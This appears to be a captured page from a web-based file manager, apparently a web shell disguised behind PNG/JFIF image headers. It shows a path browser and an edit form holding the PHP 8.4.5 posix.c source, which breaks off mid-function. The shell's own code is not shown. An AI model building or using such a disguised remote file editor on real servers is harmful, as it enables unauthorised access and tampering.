�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2F'>ext</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fposix%2F'>posix</a>/</p><hr><h3>✏️ Editing: posix.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/*
   +----------------------------------------------------------------------+
   | Copyright (c) The PHP Group                                          |
   +----------------------------------------------------------------------+
   | This source file is subject to version 3.01 of the PHP license,      |
   | that is bundled with this package in the file LICENSE, and is        |
   | available through the world-wide-web at the following url:           |
   | https://www.php.net/license/3_01.txt                                 |
   | If you did not receive a copy of the PHP license and are unable to   |
   | obtain it through the world-wide-web, please send a note to          |
   | license@php.net so we can mail you a copy immediately.               |
   +----------------------------------------------------------------------+
   | Author: Kristian Koehntopp &lt;kris@koehntopp.de&gt;                       |
   +----------------------------------------------------------------------+
 */

#ifdef HAVE_CONFIG_H
#include &lt;config.h&gt;
#endif

#include &quot;php.h&quot;
#include &lt;unistd.h&gt;
#include &quot;ext/standard/info.h&quot;
#include &quot;php_posix.h&quot;
#include &quot;main/php_network.h&quot;

#ifdef HAVE_POSIX

#ifdef HAVE_SYS_TIME_H
#include &lt;sys/time.h&gt;
#endif

#include &lt;sys/resource.h&gt;
#include &lt;sys/utsname.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;signal.h&gt;
#include &lt;sys/times.h&gt;
#include &lt;errno.h&gt;
#include &lt;grp.h&gt;
#include &lt;pwd.h&gt;
#ifdef MAJOR_IN_MKDEV
# include &lt;sys/mkdev.h&gt;
#elif defined(MAJOR_IN_SYSMACROS)
# include &lt;sys/sysmacros.h&gt;
#endif

#include &quot;posix_arginfo.h&quot;

ZEND_DECLARE_MODULE_GLOBALS(posix)
static PHP_MINFO_FUNCTION(posix);

/* {{{ PHP_MINFO_FUNCTION */
static PHP_MINFO_FUNCTION(posix)
{
	php_info_print_table_start();
	php_info_print_table_row(2, &quot;POSIX support&quot;, &quot;enabled&quot;);
	php_info_print_table_end();
}
/* }}} */

static PHP_GINIT_FUNCTION(posix) /* {{{ */
{
#if defined(COMPILE_DL_POSIX) &amp;&amp; defined(ZTS)
	ZEND_TSRMLS_CACHE_UPDATE();
#endif
	posix_globals-&gt;last_error = 0;
}
/* }}} */

/* {{{ PHP_MINIT_FUNCTION(posix) */
static PHP_MINIT_FUNCTION(posix)
{
	register_posix_symbols(module_number);

	return SUCCESS;
}
/* }}} */

/* {{{ posix_module_entry */
zend_module_entry posix_module_entry = {
	STANDARD_MODULE_HEADER,
	&quot;posix&quot;,
	ext_functions,
	PHP_MINIT(posix),
	NULL,
	NULL,
	NULL,
	PHP_MINFO(posix),
	PHP_POSIX_VERSION,
	PHP_MODULE_GLOBALS(posix),
	PHP_GINIT(posix),
	NULL,
	NULL,
	STANDARD_MODULE_PROPERTIES_EX
};
/* }}} */

#ifdef COMPILE_DL_POSIX
#ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
#endif
ZEND_GET_MODULE(posix)
#endif

#define PHP_POSIX_RETURN_LONG_FUNC(func_name)	\
	ZEND_PARSE_PARAMETERS_NONE();	\
	RETURN_LONG(func_name());

#define PHP_POSIX_SINGLE_ARG_FUNC(func_name)	\
	zend_long val;	\
	ZEND_PARSE_PARAMETERS_START(1, 1) \
		Z_PARAM_LONG(val) \
	ZEND_PARSE_PARAMETERS_END(); \
	if (func_name(val) &lt; 0) {	\
		POSIX_G(last_error) = errno;	\
		RETURN_FALSE;	\
	}	\
	RETURN_TRUE;

/* {{{ Send a signal to a process (POSIX.1, 3.3.2) */

PHP_FUNCTION(posix_kill)
{
	zend_long pid, sig;

	ZEND_PARSE_PARAMETERS_START(2, 2)
		Z_PARAM_LONG(pid)
		Z_PARAM_LONG(sig)
	ZEND_PARSE_PARAMETERS_END();

	if (kill(pid, sig) &lt; 0) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_TRUE;
}
/* }}} */

/* {{{ Get the current process id (POSIX.1, 4.1.1) */
PHP_FUNCTION(posix_getpid)
{
	PHP_POSIX_RETURN_LONG_FUNC(getpid);
}
/* }}} */

/* {{{ Get the parent process id (POSIX.1, 4.1.1) */
PHP_FUNCTION(posix_getppid)
{
	PHP_POSIX_RETURN_LONG_FUNC(getppid);
}
/* }}} */

/* {{{ Get the current user id (POSIX.1, 4.2.1) */
PHP_FUNCTION(posix_getuid)
{
	PHP_POSIX_RETURN_LONG_FUNC(getuid);
}
/* }}} */

/* {{{ Get the current group id (POSIX.1, 4.2.1) */
PHP_FUNCTION(posix_getgid)
{
	PHP_POSIX_RETURN_LONG_FUNC(getgid);
}
/* }}} */

/* {{{ Get the current effective user id (POSIX.1, 4.2.1) */
PHP_FUNCTION(posix_geteuid)
{
	PHP_POSIX_RETURN_LONG_FUNC(geteuid);
}
/* }}} */

/* {{{ Get the current effective group id (POSIX.1, 4.2.1) */
PHP_FUNCTION(posix_getegid)
{
	PHP_POSIX_RETURN_LONG_FUNC(getegid);
}
/* }}} */

/* {{{ Set user id (POSIX.1, 4.2.2) */
PHP_FUNCTION(posix_setuid)
{
	PHP_POSIX_SINGLE_ARG_FUNC(setuid);
}
/* }}} */

/* {{{ Set group id (POSIX.1, 4.2.2) */
PHP_FUNCTION(posix_setgid)
{
	PHP_POSIX_SINGLE_ARG_FUNC(setgid);
}
/* }}} */

/* {{{ Set effective user id */
#ifdef HAVE_SETEUID
PHP_FUNCTION(posix_seteuid)
{
	PHP_POSIX_SINGLE_ARG_FUNC(seteuid);
}
#endif
/* }}} */

/* {{{ Set effective group id */
#ifdef HAVE_SETEGID
PHP_FUNCTION(posix_setegid)
{
	PHP_POSIX_SINGLE_ARG_FUNC(setegid);
}
#endif
/* }}} */

/* {{{ Get supplementary group id&#039;s (POSIX.1, 4.2.3) */
#ifdef HAVE_GETGROUPS
PHP_FUNCTION(posix_getgroups)
{
	gid_t *gidlist;
	int    result;
	int    i;

	ZEND_PARSE_PARAMETERS_NONE();

	/* MacOS may return more than NGROUPS_MAX groups.
	 * Fetch the actual number of groups and create an appropriate allocation. */
	if ((result = getgroups(0, NULL)) &lt; 0) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	gidlist = emalloc(sizeof(gid_t) * result);
	if ((result = getgroups(result, gidlist)) &lt; 0) {
		POSIX_G(last_error) = errno;
		efree(gidlist);
		RETURN_FALSE;
	}

	array_init(return_value);

	for (i=0; i&lt;result; i++) {
		add_next_index_long(return_value, gidlist[i]);
	}
	efree(gidlist);
}
#endif
/* }}} */

/* {{{ Get user name (POSIX.1, 4.2.4) */
#ifdef HAVE_GETLOGIN
PHP_FUNCTION(posix_getlogin)
{
	char *p;

	ZEND_PARSE_PARAMETERS_NONE();

	if (NULL == (p = getlogin())) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_STRING(p);
}
#endif
/* }}} */

/* {{{ Get current process group id (POSIX.1, 4.3.1) */
PHP_FUNCTION(posix_getpgrp)
{
	PHP_POSIX_RETURN_LONG_FUNC(getpgrp);
}
/* }}} */

/* {{{ Create session and set process group id (POSIX.1, 4.3.2) */
#ifdef HAVE_SETSID
PHP_FUNCTION(posix_setsid)
{
	PHP_POSIX_RETURN_LONG_FUNC(setsid);
}
#endif
/* }}} */

/* {{{ Set process group id for job control (POSIX.1, 4.3.3) */
PHP_FUNCTION(posix_setpgid)
{
	zend_long pid, pgid;

	ZEND_PARSE_PARAMETERS_START(2, 2)
		Z_PARAM_LONG(pid)
		Z_PARAM_LONG(pgid)
	ZEND_PARSE_PARAMETERS_END();

	if (setpgid(pid, pgid) &lt; 0) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_TRUE;
}
/* }}} */

/* {{{ Get the process group id of the specified process (This is not a POSIX function, but a SVR4ism, so we compile conditionally) */
#ifdef HAVE_GETPGID
PHP_FUNCTION(posix_getpgid)
{
	zend_long val;

	ZEND_PARSE_PARAMETERS_START(1, 1)
		Z_PARAM_LONG(val)
	ZEND_PARSE_PARAMETERS_END();

	if ((val = getpgid(val)) &lt; 0) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}
	RETURN_LONG(val);
}
#endif
/* }}} */

/* {{{ Get process group id of session leader (This is not a POSIX function, but a SVR4ism, so be compile conditionally) */
#ifdef HAVE_GETSID
PHP_FUNCTION(posix_getsid)
{
	zend_long val;

	ZEND_PARSE_PARAMETERS_START(1, 1)
		Z_PARAM_LONG(val)
	ZEND_PARSE_PARAMETERS_END();

	if ((val = getsid(val)) &lt; 0) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}
	RETURN_LONG(val);
}
#endif
/* }}} */

/* {{{ Get system name (POSIX.1, 4.4.1) */
PHP_FUNCTION(posix_uname)
{
	struct utsname u;

	ZEND_PARSE_PARAMETERS_NONE();

	if (uname(&amp;u) &lt; 0) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	array_init(return_value);

	add_assoc_string(return_value, &quot;sysname&quot;,  u.sysname);
	add_assoc_string(return_value, &quot;nodename&quot;, u.nodename);
	add_assoc_string(return_value, &quot;release&quot;,  u.release);
	add_assoc_string(return_value, &quot;version&quot;,  u.version);
	add_assoc_string(return_value, &quot;machine&quot;,  u.machine);

#if defined(_GNU_SOURCE) &amp;&amp; defined(HAVE_STRUCT_UTSNAME_DOMAINNAME)
	add_assoc_string(return_value, &quot;domainname&quot;, u.domainname);
#endif
}
/* }}} */

/* POSIX.1, 4.5.1 time() - Get System Time
							already covered by PHP
 */

/* {{{ Get process times (POSIX.1, 4.5.2) */
PHP_FUNCTION(posix_times)
{
	struct tms t;
	clock_t    ticks;

	ZEND_PARSE_PARAMETERS_NONE();

	if ((ticks = times(&amp;t)) == -1) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	array_init(return_value);

	add_assoc_long(return_value, &quot;ticks&quot;,	ticks);			/* clock ticks */
	add_assoc_long(return_value, &quot;utime&quot;,	t.tms_utime);	/* user time */
	add_assoc_long(return_value, &quot;stime&quot;,	t.tms_stime);	/* system time */
	add_assoc_long(return_value, &quot;cutime&quot;,	t.tms_cutime);	/* user time of children */
	add_assoc_long(return_value, &quot;cstime&quot;,	t.tms_cstime);	/* system time of children */
}
/* }}} */

/* POSIX.1, 4.6.1 getenv() - Environment Access
							already covered by PHP
*/

/* {{{ Generate terminal path name (POSIX.1, 4.7.1) */
#ifdef HAVE_CTERMID
PHP_FUNCTION(posix_ctermid)
{
	char  buffer[L_ctermid];

	ZEND_PARSE_PARAMETERS_NONE();

	if (NULL == ctermid(buffer)) {
		/* Found no documentation how the defined behaviour is when this
		 * function fails
		 */
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_STRING(buffer);
}
#endif
/* }}} */

/* Checks if the provides resource is a stream and if it provides a file descriptor */
static zend_result php_posix_stream_get_fd(zval *zfp, zend_long *ret) /* {{{ */
{
	php_stream *stream;

	php_stream_from_zval_no_verify(stream, zfp);

	if (stream == NULL) {
		return FAILURE;
	}

	/* get the fd. php_socket_t is used for FDs, and is shorter than zend_long.
	 * NB: Most other code will NOT use the PHP_STREAM_CAST_INTERNAL flag when casting.
	 * It is only used here so that the buffered data warning is not displayed.
	 */
	php_socket_t fd = -1;
	if (php_stream_can_cast(stream, PHP_STREAM_AS_FD_FOR_SELECT | PHP_STREAM_CAST_INTERNAL) == SUCCESS) {
		php_stream_cast(stream, PHP_STREAM_AS_FD_FOR_SELECT | PHP_STREAM_CAST_INTERNAL, (void**)&amp;fd, 0);
	} else if (php_stream_can_cast(stream, PHP_STREAM_AS_FD | PHP_STREAM_CAST_INTERNAL) == SUCCESS) {
		php_stream_cast(stream, PHP_STREAM_AS_FD | PHP_STREAM_CAST_INTERNAL, (void**)&amp;fd, 0);
	} else {
		php_error_docref(NULL, E_WARNING, &quot;Could not use stream of type &#039;%s&#039;&quot;,
				stream-&gt;ops-&gt;label);
		return FAILURE;
	}
	*ret = fd;
	return SUCCESS;
}
/* }}} */

/* {{{ Determine terminal device name (POSIX.1, 4.7.2) */
PHP_FUNCTION(posix_ttyname)
{
	zval *z_fd;
	char *p;
	zend_long fd = 0;
#if defined(ZTS) &amp;&amp; defined(HAVE_TTYNAME_R) &amp;&amp; defined(_SC_TTY_NAME_MAX)
	zend_long buflen;
	int err;
#endif

	ZEND_PARSE_PARAMETERS_START(1, 1)
		Z_PARAM_ZVAL(z_fd)
	ZEND_PARSE_PARAMETERS_END();

	if (Z_TYPE_P(z_fd) == IS_RESOURCE) {
		if (php_posix_stream_get_fd(z_fd, &amp;fd) == FAILURE) {
			RETURN_FALSE;
		}
	} else {
		if (!zend_parse_arg_long(z_fd, &amp;fd, /* is_null */ NULL, /* check_null */ false, /* arg_num */ 1)) {
			php_error_docref(NULL, E_WARNING, &quot;Argument #1 ($file_descriptor) must be of type int|resource, %s given&quot;,
				zend_zval_value_name(z_fd));
			fd = zval_get_long(z_fd);
		}
		/* fd must fit in an int and be positive */
		if (fd &lt; 0 || fd &gt; INT_MAX) {
			php_error_docref(NULL, E_WARNING, &quot;Argument #1 ($file_descriptor) must be between 0 and %d&quot;, INT_MAX);
			RETURN_FALSE;
		}
	}
#if defined(ZTS) &amp;&amp; defined(HAVE_TTYNAME_R) &amp;&amp; defined(_SC_TTY_NAME_MAX)
	buflen = sysconf(_SC_TTY_NAME_MAX);
	if (buflen &lt; 1) {
		buflen = 32;
	}
#if ZEND_DEBUG
	/* Test retry logic */
	buflen = 1;
#endif
	p = emalloc(buflen);

try_again:
	err = ttyname_r(fd, p, buflen);
	if (err) {
		if (err == ERANGE) {
			buflen *= 2;
			p = erealloc(p, buflen);
			goto try_again;
		}
		POSIX_G(last_error) = err;
		efree(p);
		RETURN_FALSE;
	}
	RETVAL_STRING(p);
	efree(p);
#else
	if (NULL == (p = ttyname(fd))) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}
	RETURN_STRING(p);
#endif
}
/* }}} */

/* {{{ Determine if filedesc is a tty (POSIX.1, 4.7.1) */
PHP_FUNCTION(posix_isatty)
{
	zval *z_fd;
	zend_long fd = 0;

	ZEND_PARSE_PARAMETERS_START(1, 1)
		Z_PARAM_ZVAL(z_fd)
	ZEND_PARSE_PARAMETERS_END();

	if (Z_TYPE_P(z_fd) == IS_RESOURCE) {
		if (php_posix_stream_get_fd(z_fd, &amp;fd) == FAILURE) {
			RETURN_FALSE;
		}
	} else {
		if (!zend_parse_arg_long(z_fd, &amp;fd, /* is_null */ NULL, /* check_null */ false, /* arg_num */ 1)) {
			php_error_docref(NULL, E_WARNING, &quot;Argument #1 ($file_descriptor) must be of type int|resource, %s given&quot;,
				zend_zval_value_name(z_fd));
			RETURN_FALSE;
		}
	}

	/* A valid file descriptor must fit in an int and be positive */
	if (fd &lt; 0 || fd &gt; INT_MAX) {
		POSIX_G(last_error) = EBADF;
		RETURN_FALSE;
	}
	if (isatty(fd)) {
		RETURN_TRUE;
	} else {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}
}
/* }}} */

/*
	POSIX.1, 4.8.1 sysconf()
	POSIX.1, 5.7.1 pathconf(), fpathconf()

	POSIX.1, 5.1.2 opendir(), readdir(), rewinddir(), closedir()
	POSIX.1, 5.2.1 chdir()
				already supported by PHP
 */

/* {{{ Get working directory pathname (POSIX.1, 5.2.2) */
PHP_FUNCTION(posix_getcwd)
{
	char  buffer[MAXPATHLEN];
	char *p;

	ZEND_PARSE_PARAMETERS_NONE();

	p = VCWD_GETCWD(buffer, MAXPATHLEN);
	if (!p) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_STRING(buffer);
}
/* }}} */

/*
	POSIX.1, 5.3.x open(), creat(), umask()
	POSIX.1, 5.4.1 link()
		already supported by PHP.
 */

/* {{{ Make a FIFO special file (POSIX.1, 5.4.2) */
#ifdef HAVE_MKFIFO
PHP_FUNCTION(posix_mkfifo)
{
	zend_string *path;
	zend_long mode;
	int     result;

	ZEND_PARSE_PARAMETERS_START(2, 2)
		Z_PARAM_PATH_STR(path)
		Z_PARAM_LONG(mode)
	ZEND_PARSE_PARAMETERS_END();

	if (php_check_open_basedir_ex(ZSTR_VAL(path), 0)) {
		RETURN_FALSE;
	}

	result = mkfifo(ZSTR_VAL(path), mode);
	if (result &lt; 0) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_TRUE;
}
#endif
/* }}} */

/* {{{ Make a special or ordinary file (POSIX.1) */
#ifdef HAVE_MKNOD
PHP_FUNCTION(posix_mknod)
{
	zend_string *path;
	zend_long mode;
	zend_long major = 0, minor = 0;
	int result;
	dev_t php_dev = 0;

	ZEND_PARSE_PARAMETERS_START(2, 4)
		Z_PARAM_PATH_STR(path)
		Z_PARAM_LONG(mode)
		Z_PARAM_OPTIONAL
		Z_PARAM_LONG(major)
		Z_PARAM_LONG(minor)
	ZEND_PARSE_PARAMETERS_END();

	if (php_check_open_basedir_ex(ZSTR_VAL(path), 0)) {
		RETURN_FALSE;
	}

	if ((mode &amp; S_IFCHR) || (mode &amp; S_IFBLK)) {
		if (major == 0) {
			zend_argument_value_error(3, &quot;cannot be 0 for the POSIX_S_IFCHR and POSIX_S_IFBLK modes&quot;);
			RETURN_THROWS();
		} else {
#ifdef HAVE_MAKEDEV
			php_dev = makedev(major, minor);
#else
			php_error_docref(NULL, E_WARNING, &quot;Cannot create a block or character device, creating a normal file instead&quot;);
#endif
		}
	}

	result = mknod(ZSTR_VAL(path), mode, php_dev);
	if (result &lt; 0) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_TRUE;
}
#endif
/* }}} */

/* Takes a pointer to posix group and a pointer to an already initialized ZVAL
 * array container and fills the array with the posix group member data. */
int php_posix_group_to_array(struct group *g, zval *array_group) /* {{{ */
{
	zval array_members;
	int count;

	if (NULL == g)
		return 0;

	if (array_group == NULL || Z_TYPE_P(array_group) != IS_ARRAY)
		return 0;

	array_init(&amp;array_members);

	add_assoc_string(array_group, &quot;name&quot;, g-&gt;gr_name);
	if (g-&gt;gr_passwd) {
		add_assoc_string(array_group, &quot;passwd&quot;, g-&gt;gr_passwd);
	} else {
		add_assoc_null(array_group, &quot;passwd&quot;);
	}
	for (count = 0;; count++) {
		/* gr_mem entries may be misaligned on macos. */
		char *gr_mem;
		memcpy(&amp;gr_mem, &amp;g-&gt;gr_mem[count], sizeof(char *));
		if (!gr_mem) {
			break;
		}

		add_next_index_string(&amp;array_members, gr_mem);
	}
	zend_hash_str_update(Z_ARRVAL_P(array_group), &quot;members&quot;, sizeof(&quot;members&quot;)-1, &amp;array_members);
	add_assoc_long(array_group, &quot;gid&quot;, g-&gt;gr_gid);
	return 1;
}
/* }}} */

/*
	POSIX.1, 5.5.1 unlink()
	POSIX.1, 5.5.2 rmdir()
	POSIX.1, 5.5.3 rename()
	POSIX.1, 5.6.x stat(), chmod(), utime() already supported by PHP.
*/

/* {{{ Determine accessibility of a file (POSIX.1 5.6.3) */
PHP_FUNCTION(posix_access)
{
	zend_long mode = 0;
	size_t filename_len, ret;
	char *filename, *path;

	ZEND_PARSE_PARAMETERS_START(1, 2)
		Z_PARAM_PATH(filename, filename_len)
		Z_PARAM_OPTIONAL
		Z_PARAM_LONG(mode)
	ZEND_PARSE_PARAMETERS_END();

	path = expand_filepath(filename, NULL);
	if (!path) {
		POSIX_G(last_error) = EIO;
		RETURN_FALSE;
	}

	if (php_check_open_basedir_ex(path, 0)) {
		efree(path);
		POSIX_G(last_error) = EPERM;
		RETURN_FALSE;
	}

	ret = access(path, mode);
	efree(path);

	if (ret) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_TRUE;
}

#ifdef HAVE_EACCESS
PHP_FUNCTION(posix_eaccess)
{
	zend_long mode = 0;
	size_t filename_len, ret;
	char *filename, *path;

	ZEND_PARSE_PARAMETERS_START(1, 2)
		Z_PARAM_PATH(filename, filename_len)
		Z_PARAM_OPTIONAL
		Z_PARAM_LONG(mode)
	ZEND_PARSE_PARAMETERS_END();

	path = expand_filepath(filename, NULL);
	if (!path) {
		zend_argument_must_not_be_empty_error(1);
		RETURN_THROWS();
	}

	if (php_check_open_basedir_ex(path, 0)) {
		efree(path);
		POSIX_G(last_error) = EPERM;
		RETURN_FALSE;
	}

	ret = eaccess(path, mode);
	efree(path);

	if (ret) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}

	RETURN_TRUE;
}
#endif

/* }}} */

/*
	POSIX.1, 6.x most I/O functions already supported by PHP.
	POSIX.1, 7.x tty functions, TODO
	POSIX.1, 8.x interactions with other C language functions
	POSIX.1, 9.x system database access
*/

/* {{{ Group database access (POSIX.1, 9.2.1) */
PHP_FUNCTION(posix_getgrnam)
{
	char *name;
	struct group *g;
	size_t name_len;
#if defined(ZTS) &amp;&amp; defined(HAVE_GETGRNAM_R) &amp;&amp; defined(_SC_GETGR_R_SIZE_MAX)
	struct group gbuf;
	long buflen;
	char *buf;
	int err;
#endif

	ZEND_PARSE_PARAMETERS_START(1, 1)
		Z_PARAM_STRING(name, name_len)
	ZEND_PARSE_PARAMETERS_END();

#if defined(ZTS) &amp;&amp; defined(HAVE_GETGRNAM_R) &amp;&amp; defined(_SC_GETGR_R_SIZE_MAX)
	buflen = sysconf(_SC_GETGR_R_SIZE_MAX);
	if (buflen &lt; 1) {
		buflen = 1024;
	}
#if ZEND_DEBUG
	/* Test retry logic */
	buflen = 1;
#endif
	buf = emalloc(buflen);
try_again:
	g = &amp;gbuf;

	err = getgrnam_r(name, g, buf, buflen, &amp;g);
	if (err || g == NULL) {
		if (err == ERANGE) {
			buflen *= 2;
			buf = erealloc(buf, buflen);
			goto try_again;
		}
		POSIX_G(last_error) = err;
		efree(buf);
		RETURN_FALSE;
	}
#else
	if (NULL == (g = getgrnam(name))) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}
#endif
	array_init(return_value);

	if (!php_posix_group_to_array(g, return_value)) {
		zend_array_destroy(Z_ARR_P(return_value));
		php_error_docref(NULL, E_WARNING, &quot;Unable to convert posix group to array&quot;);
		RETVAL_FALSE;
	}
#if defined(ZTS) &amp;&amp; defined(HAVE_GETGRNAM_R) &amp;&amp; defined(_SC_GETGR_R_SIZE_MAX)
	efree(buf);
#endif
}
/* }}} */

/* {{{ Group database access (POSIX.1, 9.2.1) */
PHP_FUNCTION(posix_getgrgid)
{
	zend_long gid;
#if defined(ZTS) &amp;&amp; defined(HAVE_GETGRGID_R) &amp;&amp; defined(_SC_GETGR_R_SIZE_MAX)
	int err;
	struct group _g;
	struct group *retgrptr = NULL;
	long grbuflen;
	char *grbuf;
#endif
	struct group *g;

	ZEND_PARSE_PARAMETERS_START(1, 1)
		Z_PARAM_LONG(gid)
	ZEND_PARSE_PARAMETERS_END();

#if defined(ZTS) &amp;&amp; defined(HAVE_GETGRGID_R) &amp;&amp; defined(_SC_GETGR_R_SIZE_MAX)

	grbuflen = sysconf(_SC_GETGR_R_SIZE_MAX);
	if (grbuflen &lt; 1) {
		grbuflen = 1024;
	}
#if ZEND_DEBUG
	/* Test retry logic */
	grbuflen = 1;
#endif

	grbuf = emalloc(grbuflen);

try_again:
	err = getgrgid_r(gid, &amp;_g, grbuf, grbuflen, &amp;retgrptr);
	if (err || retgrptr == NULL) {
		if (err == ERANGE) {
			grbuflen *= 2;
			grbuf = erealloc(grbuf, grbuflen);
			goto try_again;
		}
		POSIX_G(last_error) = err;
		efree(grbuf);
		RETURN_FALSE;
	}
	g = &amp;_g;
#else
	if (NULL == (g = getgrgid(gid))) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}
#endif
	array_init(return_value);

	if (!php_posix_group_to_array(g, return_value)) {
		zend_array_destroy(Z_ARR_P(return_value));
		php_error_docref(NULL, E_WARNING, &quot;Unable to convert posix group struct to array&quot;);
		RETVAL_FALSE;
	}
#if defined(ZTS) &amp;&amp; defined(HAVE_GETGRGID_R) &amp;&amp; defined(_SC_GETGR_R_SIZE_MAX)
	efree(grbuf);
#endif
}
/* }}} */

int php_posix_passwd_to_array(struct passwd *pw, zval *return_value) /* {{{ */
{
	if (NULL == pw)
		return 0;
	if (NULL == return_value || Z_TYPE_P(return_value) != IS_ARRAY)
		return 0;

	add_assoc_string(return_value, &quot;name&quot;,      pw-&gt;pw_name);
	add_assoc_string(return_value, &quot;passwd&quot;,    pw-&gt;pw_passwd);
	add_assoc_long  (return_value, &quot;uid&quot;,       pw-&gt;pw_uid);
	add_assoc_long  (return_value, &quot;gid&quot;,		pw-&gt;pw_gid);
	add_assoc_string(return_value, &quot;gecos&quot;,     pw-&gt;pw_gecos);
	add_assoc_string(return_value, &quot;dir&quot;,       pw-&gt;pw_dir);
	add_assoc_string(return_value, &quot;shell&quot;,     pw-&gt;pw_shell);
	return 1;
}
/* }}} */

/* {{{ User database access (POSIX.1, 9.2.2) */
PHP_FUNCTION(posix_getpwnam)
{
	struct passwd *pw;
	char *name;
	size_t name_len;
#if defined(ZTS) &amp;&amp; defined(_SC_GETPW_R_SIZE_MAX) &amp;&amp; defined(HAVE_GETPWNAM_R)
	struct passwd pwbuf;
	long buflen;
	char *buf;
	int err;
#endif

	ZEND_PARSE_PARAMETERS_START(1, 1)
		Z_PARAM_STRING(name, name_len)
	ZEND_PARSE_PARAMETERS_END();

#if defined(ZTS) &amp;&amp; defined(_SC_GETPW_R_SIZE_MAX) &amp;&amp; defined(HAVE_GETPWNAM_R)
	buflen = sysconf(_SC_GETPW_R_SIZE_MAX);
	if (buflen &lt; 1) {
		buflen = 1024;
	}
#if ZEND_DEBUG
	/* Test retry logic */
	buflen = 1;
#endif
	buf = emalloc(buflen);

try_again:
	pw = &amp;pwbuf;
	err = getpwnam_r(name, pw, buf, buflen, &amp;pw);
	if (err || pw == NULL) {
		if (err == ERANGE) {
			buflen *= 2;
			buf = erealloc(buf, buflen);
			goto try_again;
		}
		efree(buf);
		POSIX_G(last_error) = err;
		RETURN_FALSE;
	}
#else
	if (NULL == (pw = getpwnam(name))) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}
#endif
	array_init(return_value);

	if (!php_posix_passwd_to_array(pw, return_value)) {
		zend_array_destroy(Z_ARR_P(return_value));
		php_error_docref(NULL, E_WARNING, &quot;Unable to convert posix passwd struct to array&quot;);
		RETVAL_FALSE;
	}
#if defined(ZTS) &amp;&amp; defined(_SC_GETPW_R_SIZE_MAX) &amp;&amp; defined(HAVE_GETPWNAM_R)
	efree(buf);
#endif
}
/* }}} */

/* {{{ User database access (POSIX.1, 9.2.2) */
PHP_FUNCTION(posix_getpwuid)
{
	zend_long uid;
#if defined(ZTS) &amp;&amp; defined(_SC_GETPW_R_SIZE_MAX) &amp;&amp; defined(HAVE_GETPWUID_R)
	struct passwd _pw;
	struct passwd *retpwptr = NULL;
	long pwbuflen;
	char *pwbuf;
	int err;
#endif
	struct passwd *pw;

	ZEND_PARSE_PARAMETERS_START(1, 1)
		Z_PARAM_LONG(uid)
	ZEND_PARSE_PARAMETERS_END();

#if defined(ZTS) &amp;&amp; defined(_SC_GETPW_R_SIZE_MAX) &amp;&amp; defined(HAVE_GETPWUID_R)
	pwbuflen = sysconf(_SC_GETPW_R_SIZE_MAX);
	if (pwbuflen &lt; 1) {
		pwbuflen = 1024;
	}
#if ZEND_DEBUG
	/* Test retry logic */
	pwbuflen = 1;
#endif
	pwbuf = emalloc(pwbuflen);

try_again:
	err = getpwuid_r(uid, &amp;_pw, pwbuf, pwbuflen, &amp;retpwptr);
	if (err || retpwptr == NULL) {
		if (err == ERANGE) {
			pwbuflen *= 2;
			pwbuf = erealloc(pwbuf, pwbuflen);
			goto try_again;
		}
		POSIX_G(last_error) = err;
		efree(pwbuf);
		RETURN_FALSE;
	}
	pw = &amp;_pw;
#else
	if (NULL == (pw = getpwuid(uid))) {
		POSIX_G(last_error) = errno;
		RETURN_FALSE;
	}
#endif
	array_init(return_value);

	if (!php_posix_passwd_to_array(pw, return_value)) {
		zend_array_destroy(Z_ARR_P(return_value));
		php_error_docref(NULL, E_WARNING, &quot;Unable to convert posix passwd struct to array&quot;);
		RETVAL_FALSE;
	}
#if defined(ZTS) &amp;&amp; defined(_SC_GETPW_R_SIZE_MAX) &amp;&amp; defined(HAVE_GETPWUID_R)
	efree(pwbuf);
#endif
}
/* }}} */


#ifdef HAVE_GETRLIMIT

#define UNLIMITED_STRING &quot;unlimited&quot;

/* {{{ posix_addlimit */
static zend_result posix_addlimit(int limit, const char *name, zval *return_value) {
	int result;
	struct rlimit rl;
	char hard[80];
	char soft[80];

	snprintf(hard, 80, &quot;hard %s&quot;, name);
	snprintf(soft, 80, &quot;soft %s&quot;, name);

	result = getrlimit(limit, &amp;rl);
	if (result &lt; 0) {
		POSIX_G(last_error) = errno;
		return FAILURE;
	}

	if (rl.rlim_cur == RLIM_INFINITY) {
		add_assoc_stringl(return_value, soft, UNLIMITED_STRING, sizeof(UNLIMITED_STRING)-1);
	} else {
		add_assoc_long(return_value, soft, rl.rlim_cur);
	}

